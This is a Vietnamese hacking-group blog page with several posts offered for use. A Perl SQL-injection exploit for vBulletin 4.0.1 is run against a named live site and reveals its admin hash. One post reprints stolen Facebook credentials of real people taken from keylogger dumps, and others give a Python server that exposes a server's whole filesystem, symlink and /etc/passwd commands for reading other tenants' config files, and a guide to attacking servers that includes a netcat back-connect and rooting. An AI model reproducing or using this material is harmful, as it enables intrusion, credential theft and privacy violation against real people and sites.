Attack windows 7 32 bit with backdoor

<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/gejDtn5am68/0.jpg" src="https://www.youtube.com/embed/gejDtn5am68?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br />

Attack windows 7 32 bit with backdoor

…

Đọc thêm »

Tìm password từ các con keylog trên thế giới

Vào trang http://pastebin.com/<br />tìm khung search bar và nhập vào<br /> <br /> <blockquote class="tr_bq"> Program:firefox Url/Host:http://www.facebook.com login</blockquote> <br />hoặc<br /> <br /> <blockquote class="tr_bq"> Program:firefox Url/Host:http://www.yahoo.com login</blockquote> <br />tùy cái cần tìm mà nhập nhá<br /><br />vì dụ với Program:firefox Url/Host:http://www.facebook.com login<br />ta nhận đc là<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqvevIKp05D3ay_Th-lFIDPbIPQk0TRJtLGDm-mJ9H6LAZAnpvQHGlBvsT5ahsQxqjKSDQeLPxZcoWfHZYair2hFetsXp2JeQrthMM5BnPEhiDqxLWJl-0PbwC4XHY_Uz7fNdHIiAgavQ/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqvevIKp05D3ay_Th-lFIDPbIPQk0TRJtLGDm-mJ9H6LAZAnpvQHGlBvsT5ahsQxqjKSDQeLPxZcoWfHZYair2hFetsXp2JeQrthMM5BnPEhiDqxLWJl-0PbwC4XHY_Uz7fNdHIiAgavQ/s1600/8.png" width="320" /></a></div> <br /> <br /> <br /> <br /> <br /> <br /> Chọn vào 1 link ta check thử đc<br /> <br /> <br /> <blockquote class="tr_bq">  Program:        Firefox<br />Url/Host:       http://www.facebook.com<br />Login:          eleazarberrios@hotamail.com<br />Password:       eleazarberrios<br />Computer:       PC-3F2D90D21838<br />Date:           2010-12-30 23:51:12<br />Ip:                     200.82.253.174<br />----------------------------------------------------------<br />Program:        Firefox<br />Url/Host:       http://hacking-facebook.com<br />Login:          ele1234<br />Password:       eleazarberriosw<br />Computer:       PC-3F2D90D21838<br />Date:           2010-12-30 23:51:17<br />Ip:                     200.82.253.174<br />----------------------------------------------------------<br />Program:        Firefox<br />Url/Host:       http://www.facebook.com<br />Login:          eleazarberrios@hotmail.com<br />Password:       eleazarberrios<br />Computer:       PC-3F2D90D21838<br />Date:           2010-12-30 23:51:18<br />Ip:                     200.82.253.174<br />----------------------------------------------------------<br />Program:        Firefox<br />Url/Host:       https://login.facebook.com<br />Login:          eleazarberrios@hotmail.com<br />Password:       eleazarberrios<br />Computer:       PC-3F2D90D21838<br />Date:           2010-12-30 23:51:19<br />Ip:                     200.82.253.174<br />----------------------------------------------------------<br />Program:        Firefox<br />Url/Host:       http://es-es.facebook.com<br />Login:          elitag12@hotmail.com<br />Password:       misbebes<br />Computer:       LENOVO<br />Date:           2010-12-31 00:06:19<br />Ip:                     190.22.122.185<br />----------------------------------------------------------<br />Program:        Firefox<br />Url/Host:       http://es-es.facebook.com<br />Login:          carlitag12kids@hotmail.com<br />Password:       carlitalaxora39<br />Computer:       LENOVO<br />Date:           2010-12-31 00:06:19<br />Ip:                     190.22.122.185<br />----------------------------------------------------------</blockquote> <br /> <br />tất nhiên pass có thể đã bị đổi,hên xui thôi =))<br />ta tháy có thể tìm hàng ngàn account đã bị keylog bắt :))  <br /> <br /> <b>Capuchino - VHB Group</b><br />

Tìm password từ các con keylog trên thế giới

Vào trang http://pastebin.com/tìm khung search bar và nhập vào Program:firefox Url/Host:http://www.facebook.com login hoặc Program:firefox Url/Host:http://www.yahoo.com login tùy cái cần tìm mà nhập n…

Đọc thêm »

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa<br /> dùng lệnh <b>python -h</b> xem có trả về kết quả gì ko nè.<br /> Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py<br /> <br /> <blockquote class="tr_bq"> #!/usr/bin/env python<br /> # Bypass for (c) 2013<br /> import SimpleHTTPServer<br /> import SocketServer<br /> import os<br /> port = 7777<br /> if __name__=='__main__':<br /> os.chdir('/')<br /> Handler = SimpleHTTPServer.SimpleHTTPRequestHandler<br /> httpd = SocketServer.TCPServer(("", port), Handler)<br /> print("Now open this server on webbrowser at port : " + str(port))<br /> print("example: http://maho.com:" + str(port))<br /> httpd.serve_forever()</blockquote> <br /> Sau đó chạy nó python capuchino.py<br /> <br /> rồi kiểm tra kết quả :victim:7777<br /> <br /> Cách này có thể giấu đc kết quả thực hiện sym trên server<br /> <br /> <b>Capuchino - VHB Group </b>

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa dùng lệnh python -h xem có trả về kết quả gì ko nè. Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py #!/u…

Đọc thêm »

Video Tổng hợp về botnet

Đây là những video mình sưu tầm từ nhiều nguồn!! <br /> <br />http://www.mediafire.com/download.php?qqtc0ad59vqrrji<br />http://www.mediafire.com/download.php?l6imrwffsnwq75r<br /> <br /> <br /> <b>changyun - VHB Group</b>

Video Tổng hợp về botnet

Đây là những video mình sưu tầm từ nhiều nguồn!! http://www.mediafire.com/download.php?qqtc0ad59vqrrjihttp://www.mediafire.com/download.php?l6imrwffsnwq75r changyun - VHB Group…

Đọc thêm »

Exploit vbb 4.0.x bằng perl cho newbie

hạy perl xong<br /> Tạo file perl với nội dung<br /> <br /> <blockquote class="tr_bq">  #!/usr/bin/perl<br />use IO::Socket;<br /><br />print q{<br />#######################################################################<br />#    vBulletin? Version 4.0.1 Remote SQL Injection Exploit                                      #<br />#                    By th3.g4m3_0v3r                                                                          #<br />#              our Site www.h4ck3r.in                                                                         #<br />#           www.hackingcrackingtricks.blogspot.com                                                  #<br />#           Indian (th3.g4m3_0v3r@yahoo.com)                                                          #<br />#          Dork: Powered by vBulletin? Version 4.0.1                                                  #           <br /><br />#######################################################################<br />};<br />if (!$ARGV[2]) {<br />print q{<br />    Usage: perl  VB4.0.1.pl host /directory/ victim_userid<br /><br />       perl  VB4.0.1.pl www.vb.com /forum/ 1<br /><br />};<br />}<br /><br /><br />$server = $ARGV[0];<br />$dir    = $ARGV[1];<br />$user   = $ARGV[2];<br />$myuser = $ARGV[3];<br />$mypass = $ARGV[4];<br />$myid   = $ARGV[5];<br />print "------------------------------------------------------------------------------------------------\r\n";<br />print "[>] SERVER: $server\r\n";<br />print "[>]    DIR: $dir\r\n";<br />print "[>] USERID: $user\r\n";<br />print "------------------------------------------------------------------------------------------------\r\n\r\n";<br /><br />$server =~ s/(http:\/\/)//eg;<br /><br />$path  = $dir;<br />$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ? ?,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;<br /><br />print "[~] PREPARE TO CONNECT...\r\n";<br /><br />$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";<br />print "[+] CONNECTED\r\n";<br />print "[~] SENDING QUERY...\r\n";<br />print $socket "GET $path HTTP/1.1\r\n";<br />print $socket "Host: $server\r\n";<br />print $socket "Accept: */*\r\n";<br />print $socket "Connection: close\r\n\r\n";<br />print "[+] DONE!\r\n\r\n";<br /><br /><br />print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";<br />while ($answer = <$socket>)<br />{<br />if ($answer =~/(\w{32})/)<br />{<br /><br />  if ($1 ne 0) {<br />   print "Password is: ".$1."\r\n";<br />print "--------------------------------------------------------------------------------------\r\n";<br /><br />      }<br />exit();<br />}<br />}<br />print "------------------------------------------------------------------------------------------------\r\n";</blockquote> <br /> Lưu ví dụ như capuchino.pl hihi<br /><br />Tìm 1 site vbb 4.0.x<br />Mình ví dụ ở đây là http://www.flashyworld.com/vb/index.php<br /><br />mở cmd lên,vào thư mục lưu file capuchino.pl<br />chạy capuchino.pl flashyworld.com /vb/ 1<br />cấu trúc ở đây là file.pl site.com /folderforum/ userid<br />userid admin thì thường là 1<br />sau khi chạy thì ta thấy<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgioZubL2Xeo1fE96_VDzQdrCBbfZsaE8z5iYkRkii1SpcmidtvjRvmXCL0E2cXoLse2SijaRHW62FZkOuD84gqHwskYUOdxnr0Ty3a6AXptnyMgAyEwhcz6DIikzKFaNtHxL2SCsREzKI/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgioZubL2Xeo1fE96_VDzQdrCBbfZsaE8z5iYkRkii1SpcmidtvjRvmXCL0E2cXoLse2SijaRHW62FZkOuD84gqHwskYUOdxnr0Ty3a6AXptnyMgAyEwhcz6DIikzKFaNtHxL2SCsREzKI/s1600/1.png" width="320" /></a></div> <br /> <br /> <br /> <br /> <br /> Pass nhận đc là : e714ad492ee5e2d84bca13c17fd6464a vào bằng cookie thôi<br /> <br /> dork tìm victim :"Powered by vBulletin® Version 4.0.1"<br /> bonus thêm 1 victim còn khai thác đc<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQgJWAEmSLrt8QvPLuy4qka2_A-JPhy0IlOx-LMJ1Of6C2sjQwluCNlT1NRGxRKctKC53V8GaYUEIK5ZnE2f-DJSeSyHyjpONpkbXViWN2SA52be-VBmK7V0heRSQUo5V58xd44-OSCJg/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQgJWAEmSLrt8QvPLuy4qka2_A-JPhy0IlOx-LMJ1Of6C2sjQwluCNlT1NRGxRKctKC53V8GaYUEIK5ZnE2f-DJSeSyHyjpONpkbXViWN2SA52be-VBmK7V0heRSQUo5V58xd44-OSCJg/s1600/1.png" width="320" /></a></div> <br /> <br /> <br /> <br /> <b>Capuchino - VHB Group</b><br />

Exploit vbb 4.0.x bằng perl cho newbie

hạy perl xong Tạo file perl với nội dung  #!/usr/bin/perluse IO::Socket;print q{########################################################################    vBulletin? Version 4.0.1 Remote SQL Injectio…

Đọc thêm »

Check sqlinjection vbulletin mod chang stats

Check sqlinjection vbulletin mod chang stats <br /> <br /> <a href="http://www.mediafire.com/download/rsbbczaf00abqtf/sql+vhb+chang+stats.rar">http://www.mediafire.com/download/rsbbczaf00abqtf/sql+vhb+chang+stats.rar</a><br /> <br /> <br /> <b>Capuchino - VHB Group</b>

Check sqlinjection vbulletin mod chang stats

Check sqlinjection vbulletin mod chang stats http://www.mediafire.com/download/rsbbczaf00abqtf/sql+vhb+chang+stats.rar Capuchino - VHB Group…

Đọc thêm »

Tổng hợp những lệnh shell hay dùng khi local

<b>1) Xem list domain & user trên cùng sever</b><br /><br /> <blockquote class="tr_bq"> directadmin: cat /etc/virtual/domainowners<br />cpanel: ls -la /etc/valiases/tendomainvictim.com</blockquote> <br />cd/etc/vdomainaliases;ls-lia<br /><br />Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào<br /><br /> <blockquote class="tr_bq"> cd/etc/vdomainaliases && ls-lia</blockquote> <br /><b>2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.</b><br /><br /> <blockquote class="tr_bq"> cat /etc/passwd<br />less /etc/passwd<br />more /etc/passwd<br />head /etc/passwd<br />tac /etc/passwd<br />rev /etc/passwd<br />xxd /etc/passwd</blockquote> <br /><b>3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)</b><br /> <br /> <blockquote class="tr_bq"> dir /home/ten user can local/public_html</blockquote> <br />vd: dir /home/vhb/public_html<br /><br /><b>4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2</b><br />-> có thể sài các lệnh đó thay thế cho cat, less,...<br /><br /> <blockquote class="tr_bq"> cat/home/ten user can local/public_html/index.php</blockquote> <br />vd: cat /home/vhb/public_html/@vhb@/includes/config.php<br />vd: less /home/vhb/public_html/@vhb@/includes/config.php<br /><br /><b>5) Symlink</b>: tác dụng gần giống như tạo shorcut trên windows.<br /> <br /> <blockquote class="tr_bq"> ln -s/home/ten user can local/public_html/index.php index.txt</blockquote> <br />vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt<br />vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini<br />với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.<br /><br /><b>6) Tìm path của mấy victim sài Add on domain</b><br /> <br /> <blockquote class="tr_bq"> find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'</blockquote> <br /><br />---------------------------------------------- <br /> <b><br /></b> <b>concobe - VHB Group</b>

Tổng hợp những lệnh shell hay dùng khi local

1) Xem list domain & user trên cùng sever directadmin: cat /etc/virtual/domainownerscpanel: ls -la /etc/valiases/tendomainvictim.com cd/etc/vdomainaliases;ls-liaTrường hợp đặc biệt khi không thể xem u…

Đọc thêm »

Tư duy - Phương hướng Attack Website - Server

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.Tư duy check site để các bạn đọc.Từ đó có một cái định hướng.Tự mình nghiên cứu.Thực hiện.<br /><br />Điều đầu tiên mình muốn nói đó là muốn tấn công 1 site.Điều đầu tiên bạn cần có đấy là sự kiên nhẫn.Cóp nhặt từng tí một.Không thể nôn nóng mà bỏ qua nhiều thông tin.Dẫn đến giảm hiệu quả.Không phải website nào tấn công 1 phát cũng là được ngay.Chính vì thế nên phải tích từng đi thông tin một.<br /><br />Nếu để kiếm một site để check chơi thì tốt nhất là các bạn nên dùng các dork tìm các site có lỗi sẵn.Ví dụ như các dork sqli .Các dork của các phiên bản joomla ,vbulletin có lỗi.Như vậy sẽ hiệu quả hơn là tìm 1 site bất kì rồi xem thử nó có lỗi không. (Ngoài ra còn có một cách nhanh hơn nữa đó là dùng tool scan dork.Nó sẽ tìm cho bạn một khối site bị lỗi có thể check được từ một list dork có sẵn.Cái này hiệu quả hơn cho dân UG lúc tìm shop lỗi.)<br /><br />Còn nếu bạn muốn tấn công một website xác định.Thì việc này khó hơn.Giả sử victim của bạn có domain là target.com .Để tấn công victim một cách hiệu quả.(Mình nói ở đây là cả đối với host share và private.Site lớn có bảo mật tốt,lẫn site nhỏ,forum. ) .<br /><br /><b>Bước 1</b>: Lấy thông tin ban đầu.<br /><br />Lấy thông tin của victim .Bằng các whois nó.Tìm hiểu càng nhiều thông tin về victim càng tốt.Và google ,bing ,yandex .... đều là các công cụ hữu ích.Mình khuyên nên thử với nhiều công cụ tìm kiếm.Vì bản thân thuật toán tìm kiếm của các công cụ này khác nhau nên dẫn đến cho nhiều kết quả với hiệu quả khác nhau.<br />Ví dụ như nhập vào công cụ search như sau<br /><br /> <blockquote class="tr_bq"> ip:123.101.11.122 id=</blockquote> <br />Nó sẽ cho ta một số thông tin thú vị.Bạn hãy cố gắng thu thập thông tin ban đầu càng nhiều càng tốt.Chủ sở hữu domain.Admin của website.Support.Kể cả số điện thoại , facebook,gmail ,yahoo, địa chỉ mail của công ty.1 Attacker giỏi là một attacker có khả năng tận dụng mọi sơ hở.Mọi điểm yếu có thể tấn công.<br /><br /><b>Bước 2</b> : Phân tích khả năng tấn công.<br /><br />Đầu tiên là nên scan victim chính.Scan victim chính là công việc chủ đạo.Đối với site nằm trong server private của các công ty lớn.Thì đây là bước đóng vai trò quyết định bạn có thể attack được nó hay không.<br />Công cụ scan khá nhiều.Mình giới thiệu bạn 1 số bộ như acunetix Vulnerablility Scanner . OpenVas (của backtrack ) , w3af ( của backtrack ) , nessus (của backtrack ), wpscan ( scan wordpress trong backtrack ) , joomlascan ( scan bug joomla trong backtrack , uniscan ( trong backtrack ) ... ngồi mà kể hết các bộ công cụ chắc đến sáng mai.Công cụ thì nhiều nhưng các bạn nên chọn lựa.Đối với victim nào nên dùng bộ nào.Và nên dùng kết hợp.Vì như mình đã nói.Với mỗi tool khác nhau nó dùng cơ chế ,thuật toán scan khác nhau.Nên hiệu quả nó cũng khác nhau.Từ kết quả scan được.Nó cho ta định hình phải tấn công như thế nào.<br /><br />Scan server.Scan lấy thông tin về server.Ví dụ như xem server dùng hệ điều hành gì.Sử dụng Apache ,SII phiên bản bao nhiêu. Được viết trên ASP hay PHP .Port nào mở.(Để scan port thì có thể dùng nmap.Nó là công cụ rất hiệu quả).<br /><br />Mọi thông tin về phiên bản,port bạn hãy google ngay.Hoặc vào exploit-db.com xem nó có thể bị attack thông qua nó hay không.Còn không bạn có thể lưu lại thông tin.Rồi sau đó kiểm tra 1 lần xem sao.Đây là các bước rất cần thiết đối với việc tấn công 1 website lớn.<br /><br />Đối với Server share host.Phân tích khả năng tấn công .Đây cũng là một bước rất quan trọng.Nó rút ngắn thời gian tấn công của bạn.Nhưng mang lại hiệu quả cao.<br />Mình thấy đa số (Và trước đây mình cũng vậy ). Đó là để tấn công 1 website ko bị lỗi ,Không có lỗ hổng.Mình thường reserve ip của server chứa victim.Rồi mở từng site check xem có sqli hay không.<br />Đồng ý là sqli rất nhiều.Và rất dễ khai thác.Nhưng không phải lúc nào mình cũng có thể may mắn.Check 1 cái là ra link bị lỗi ngay.Nếu scan toàn bộ site thì đến bao giờ mới xong.Có một cách rút ngắn quá trình này đó là xác định loại site cần tấn công.<br /><br />Mình ví dụ.Bạn có kinh nghiệm về check wordpress.Bạn muốn tìm các site trong server sử dùng mã nguồn này để tấn công.Sau đó local sang victim chính.Hãy dùng google với dork là<br /><br />ip:112.78.2.247 "wordpress"<br /><br />Như đây mình nhận được một victim trong server này sử dụng wordpresss http://www.saigoncanho.com.vn/<br /><br />Tương tự cho các mã nguồn khác cũng vậy.<br /><br /><b>Bước 3</b>: Tấn công.<br /><br />Đây là bước nhiều nhất,Nhưng mình nói ít nhất,ví nó có quá nhiều kiểu tấn công.Biết nói thế nào cho hết được.<br />Chỉ đúc kết một số kinh nghiệm.Ví dụ như đối với forum vbb chẳng hạn.Nhiều phiên bản thực sự không có bug.Nhưng không phải vì thế mà ta bỏ qua.Hãy xem các web application của nó.Ví dụ như các mod.Đối với joomla và các mã nguồn khác cũng vậy.Hãy xem cách extension đi theo.Chúng rất hay bị lỗi.Bởi vì đây đa số là các ứng dụng tích hợp được viết bởi các web developer việt nam.Chúng rất kém trong việc bảo mật.<br /><br />Tận dụng tối đa kết quả mà các bạn scan ở trên.Ví dụ như bạn scan được server dùng apache 2.1 chẳng hạn.Hãy xem nó là bản update chưa.Nếu chưa có lỗi để khai thác không.Tấn công vào nó.Xem thông tin từ các lỗi public trên google mà tấn công.Hãy cố gắng tấn công 1 cách từ từ.<br /><br />Xem trong cấu trúc site khi scan được .Chỗ nào là khai thác được.Ví dụ như chúng để lại database back up trên site chẳng hạn.Tải về và phân tích ngay.<br /><br />Nhiều bộ công cụ scan nó scan đến từng lỗi nhỏ.Như tìm vị trí có thể up ảnh, up file bẳng hạn.Hãy cố bypass up shell thử xem.<br /><br />Ở mục này có quá nhiều cái để nói.Và thực chất đa số mọi tut hack thường nói về phần này.Nên mình để phần này cho các bạn.Hãy cố gắng tích hợp càng nhiều kinh nghiệm phần này .Càng nhiều càng tốt.Các phần khác nó đi theo 1 qui luật nhất định.Có thể đối với victim nào bạn cũng làm như thế.Nhưng đối với phần này.Nó phụ thuộc vào nhiều thứ.Phụ thuộc vào kết quả scan được.Phụ thuộc vào những đối tượng khác nhau.Nên nó rất đa dạng.<br /><br />Kết quả ở phần này.Là bạn có thể có được tài khoản admin.Up được shell.<br /><br /><b>Bước 4</b>: Nếu tấn công được trực tiếp target rồi thì không nói làm gì.Nếu tấn công đc một site nằm cùng server.Thì bước tiếp theo là local.Về vấn đề local này cũng khá rộng.Mình chỉ nói qua một phần trong đó.<br /><br />Trong local thì symlink là một kiểu local phổ biến nhất ,Được dùng nhiều nhất.Nó như là một shortcut bên window.Góp phần làm nhanh quá trình gọi chạy một file.Nếu như gọi trực tiếp hardlink thì quá trình họat động của server sẽ chậm hẳng.<br /><br />Trong phương pháp local.Mục đích chính của chúng ta là đọc / lấy các file config (hoặc 1 file config của target cần tấn công ). Việc thực hiện đầu tiên là chúng ta thường đọc file /etc/passwd để xác định tất cả các user nằm trong server ( Và không phải server nào cũng cho ta thực hiện đc.Phải bypass ).<br /><br />Để đọc file config ta còn phải nắm các mã nguồn.Với mỗi mã nguồn khác nhau thì file config nó nằm ở một vị trí khác nhau.<br />Mình đưa ra một số file config đối với một số mã nguồn tương ứng.<br /><br /> <blockquote class="tr_bq"> vBulletin : /includes/config.php<br />IPB : /conf_global.php<br />MyBB: /inc/config.php<br />Phpbb: /config.php<br />Php Nuke : /config.php<br />Php-Fusion : config.php<br />SMF : /Settings.php<br />Joomla : configuration.php<br />WordPress : /wp-config.php<br />Drupal: /sites/default/settings.php<br />Oscommerce: /includes/configure.php</blockquote> <br /> Từ đây ta hình dung được đường dẫn chính xác dẫn đến file config của victim.Từ đó có thể symlink được chính xác file cần đọc. (Nếu như victim đổi vị trí của file config.Thì ta phải ngồi symlink mò.Symlink từ index nó,đến những file khác,xem nó include những file nào .Từ file này dò đến file kia.Đối với một attacker kinh nghiệm.Thì việc bảo mật bằng cách giấu file config của victim đôi khi không hiệu quả.<br /><br />Cấu trúc lệnh symlink (để symlink file có địa chỉ là /home/usertarget/public_html/includes/config.php target.txt<br />lệnh này symlink file config về file target.txt nằm ở thư mục ta đang symlink. Ở điều kiện tốt nhất ta có thể đọc đc file target.txt này trên host ta đặt shell.<br /><br />Nhưng không phải khi nào ta cũng có điều kiện tốt như vậy. Chủ của website có thể chmod không cho ta đọc file config (100,101,400... ) chẳng han.Tùy server.Hoặc chủ website đặt tại thư mục chứa file config đấy 1 file .htaccess có nội dung như sau.<br /><br /> <blockquote class="tr_bq"> <Files config.php><br />order allow, deny<br />deny from all<br /></Files></blockquote> <br />Nếu chủ site đặc như thế thì khi symlink ta sẽ nhận được thông báo là 403 Forbidden Error.<br />Ở bài này mình chỉ nói đến tư tưởng tấn công chứ không nói chi tiết về phương pháp tấn công.Nên mình chỉ nêu 1 vài ví dụ.<br /><br />Nếu như ta không đọc được thì sao.Ta phải suy nghĩ vì sao không đọc được.Tư duy đặt trường hợp ta vào vị trí admin của victim.Nếu là ta ,ta sẽ bảo mật như thế nào.Sẽ làm gì.Từ đó ta có những biện pháp khác nhau.<br /><br />Giả sử như ta tìm giải pháp để bypass 403 forbidden error do chủ website đặt file .htaccess chẳng hạn nhé.<br />Trên host ta đặt shell.Tạo một thư mực có tên là VHBSYSTEM chẳng hạn.Đường dẫn đầy đủ của nó ví dụ như sau : /home/attacker/public_html/VHBSYSTEM/ .Chmod lại thư mục này là 777 (lúc đầu chưa cần.Nếu không được hẵn thử ). Sau đó tạo một file .htaccess với nội dung như sau<br /><br /> <blockquote class="tr_bq"> HeaderName vhb.txt</blockquote> <br />Đặt file .htaccess này vào thư mục /home/attacker/public_html/ . Nếu ta symlink file config vào file vhb.txt với cấu trúc lệnh ln -s /home/victim/public_html/includes/config.php vhb.txt<br /><br />Thì sau khi symlink xong .Ta vào thư mục VHBSYSTEM và đọc file vhb.txt vừa symlink về.Nó sẽ bypass được.<br /><br />Đây chỉ là 1 ví dụ trong nhiều cách bypass.Nhiều bạn bảo local phải có tư duy.Nhưng mình nghĩ muốn local tốt thì phải biết nhiều cách bypass trong trường hợp không đọc được file.<br /><br />Vấn đề này bạn nên tham khảo thêm ở nhiều tài liệu được share trong VHB. ( hoặc ghé thăm vhbgr0up.blogspot.com )<br /><br />Trong các cách cũng được khá nhiều người dung.Nhưng dùng symlink all config ( cái này trên blog và forum của vhb cũng có nói rồi ). Sym root bằng cách tạo sym root ở một server linux nào đó .Sau đó tar lại.Up lên server cần local.Cái này trên VHB cũng nhiều bài nói đến rồi.<br /><br />Mình đề cập thêm việc sym root ngay trực tiếp trên server.Đôi khi nó khá hiệu quả trong việc bypass security.<br />Như khi nãy.Tạo một folder VHB để tiện xử lí.Link full của nó /home/attacker/public_html/VHB .Sau đó ta thực hiện symlink trên shell như sau " ln -s /root" . Sau đó ta chọn một victim có domain là target.com chẳng hạn.Tiếp tục type "ls -la /etc/valiases/target.com" .Sau ddos quay lại folder ta vừa tạo VHB.Đặt vào đấy 1 file htaccess có nội dung như sau<br /><br /> <blockquote class="tr_bq"> Options Indexes FollowSymLinks<br />DirectoryIndex index.htm<br />AddType txt .php<br />AddHandler txt .php</blockquote> <br />Bây giờ ta vào xem ta symlink được những gì.Nếu như chỗ nào nó báo permisssion access.Thì cũng đừng lo lắng bận tâm.Hãy vào sâu hơn.Giả sử ta cần xem target.com có user lấy được ở trên là target đi.<br />Thì ta xem nó với link sau attacker.com/VHB/root/home/target/public_html/ ......<br />Đôi khi xem không được thì có thể view source lên nhé.<br /><br />Thôi dừng ở việc local lại.Không viết đến khi nào mới xong.Bạn cứ lượn trên blog VHB 1 tuần.Kiểu gì chả pro local :).<br /><br /><br /><b>Bước 5.Rooting.</b><br /><br />Nếu là server linux thì nên thử Get root nó .Đôi khi thử rooting server lại là con đường ngắn hơn cả local sang.Không phải khi nào cũng local được.Nó bảo mật bá đạo quá thì cũng chịu chết thôi.Hãy thử rooting nếu được.<br /><br />Tạo một backconnect hoặc có thể bind một port nào đó.MỘt back connect ở đây là server có thể tự connect về mình sau khi mình mở một port đặng biệt nào đó và lắng nghe nó bằng netcat ( nc -l -v -p 4444 ) chẳng hạn.Có khá nhiều shell hỗ trợ back-connect..<br /><br />Muốn rooting thì phải kiểm tra xem kernel đó có rooting được hay không.Trên shell bạn có thể kiểm tra bằng lện "uname -a" .Lấy phiên bản của kernel nhân được .Tìm trên google xem nó thể exploit đc hay không.<br />(Có thể vào exploit-db.com/local/ ) để tìm.<br /><br /><b>Bước 6: Attack Mạng Lan.</b><br /><br />Nếu bạn đã chiếm đc 1 server máy chủ rồi.Thì hãy cố gắng thử tấn công các máy cùng mạng Lan với nó.Đây là cơ hội để thể hiện khả năng attack trong mạng Lan của bạn.Cái này khi nào đấy bảo smod Hoangnhatnam của chúng ta demo.Để anh em mở mắt :)) <br /> <b><br /></b> <b>iCarus - VHB Group</b>

Tư duy - Phương hướng Attack Website - Server

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.Tư duy check site để các bạn đọc.Từ đó có một cái định hướng.…

Đọc thêm »

Một vài thuật ngữ hacking

<b>★ DDoS =</b><br /> Distributed Denial of Service<br /> <br /> <b>★ DrDoS =</b><br /> Distributed Reflected Denial of Service Attack, uses a list of reflection servers or other methods such as DNS to spoof an attack to look like it's coming from multiple ips. Amplification of power in the attack COULD occur.<br /> <br /> <b>★ FTP =</b><br /> File Transfer Protocol. Used for transferring files over an FTP server.<br /> <br /> <b>★ FUD =</b><br /> Fully Undetectable<br /> <br /> <b>★ Hex =</b><br /> In computer science, hexadecimal refers to base-16 numbers. These are numbers that use digits in the range: 0123456789ABCDEF. In the C programming language (as well as Java, JavaScript, C++, and other places), hexadecimal numbers are prefixed by a 0x. In this manner, one can tell that the number 0x80 is equivalent to 128 decimal, not 80 decimal.<br /> <br /> <b>★ HTTP =</b><br /> Hyper Text Transfer Protocol. The foundation of data communication for the World Wide Web.<br /> <br /> <b>★ IRC =</b><br /> Internet Relay Chat. Transmiting text messages in real time between online users.<br /> <br /> <b>★ JDB =</b><br /> Java drive-by, a very commonly used web-based exploit which allows an attacker to download and execute malicious code locally on a slave's machine through a widely known java vulnerability.<br /> <br /> <b>★ Malware =</b><br /> Malicious Software<br /> <br /> <b>★ Nix =</b><br /> Unix based operating system, usually refered to here when refering to DoS'ing.<br /> <br /> <b>★ POP3 =</b><br /> This is the most popular protocol for picking up e-mail from a server.<br /> <br /> <b>★ R.A.T </b>= Remote Administration Tool<br /> <br /> <b>★ SDB</b> =<br /> Silent drive-by, using a zero day web-based exploit to hiddenly and un-detectably download and execute malicious code on a slave's system. (similar to a JDB however no notification or warning is given to the user)<br /> <br /> <b>★ SE</b> =<br /> Social Engineering<br /> <br /> <b>★ Skid </b>=<br /> Script Kid/Script Kiddie<br /> <br /> <b>★ SMTP</b> =<br /> A TCP/IP protocol used in sending and receiving e-mail.<br /> <br /> <b>★ SQL</b> =<br /> Structured Query Language. It's a programming language, that used to communicate with databases and DBMS. Can go along with a word after it, such as "SQL Injection."<br /> <br /> <b>★ SSH </b>=<br /> Secure Shell, used to connect to Virtual Private Servers.<br /> <br /> ★ TCP =<br /> Transmission Control Protocol, creates connections and exchanges packets of data.<br /> <br /> ★ UDP =<br /> User Datagram Protocol, An alternative data transport to TCP used for DNS, Voice over IP, and file sharing.<br /> <br /> ★ VPN =<br /> Virtual Private Network<br /> <br /> ★ VPS =<br /> Virtual Private Server<br /> <br /> ★ XSS (CSS) =<br /> Cross Site Scripting<br /> <br /> Words<br /> <br /> Algorithm =<br /> A series of steps specifying which actions to take in which order.<br /> <br /> ANSI Bomb =<br /> ANSI.SYS key-remapping commands consist of cryptic-looking text that specifies, using ansi numeric codes to redefine keys.<br /> <br /> Back Door =<br /> Something a hacker leaves behind on a system in order to be able to get back in at a later time.<br /> <br /> Binary =<br /> A numbering system in which there are only two possible values for each digit: 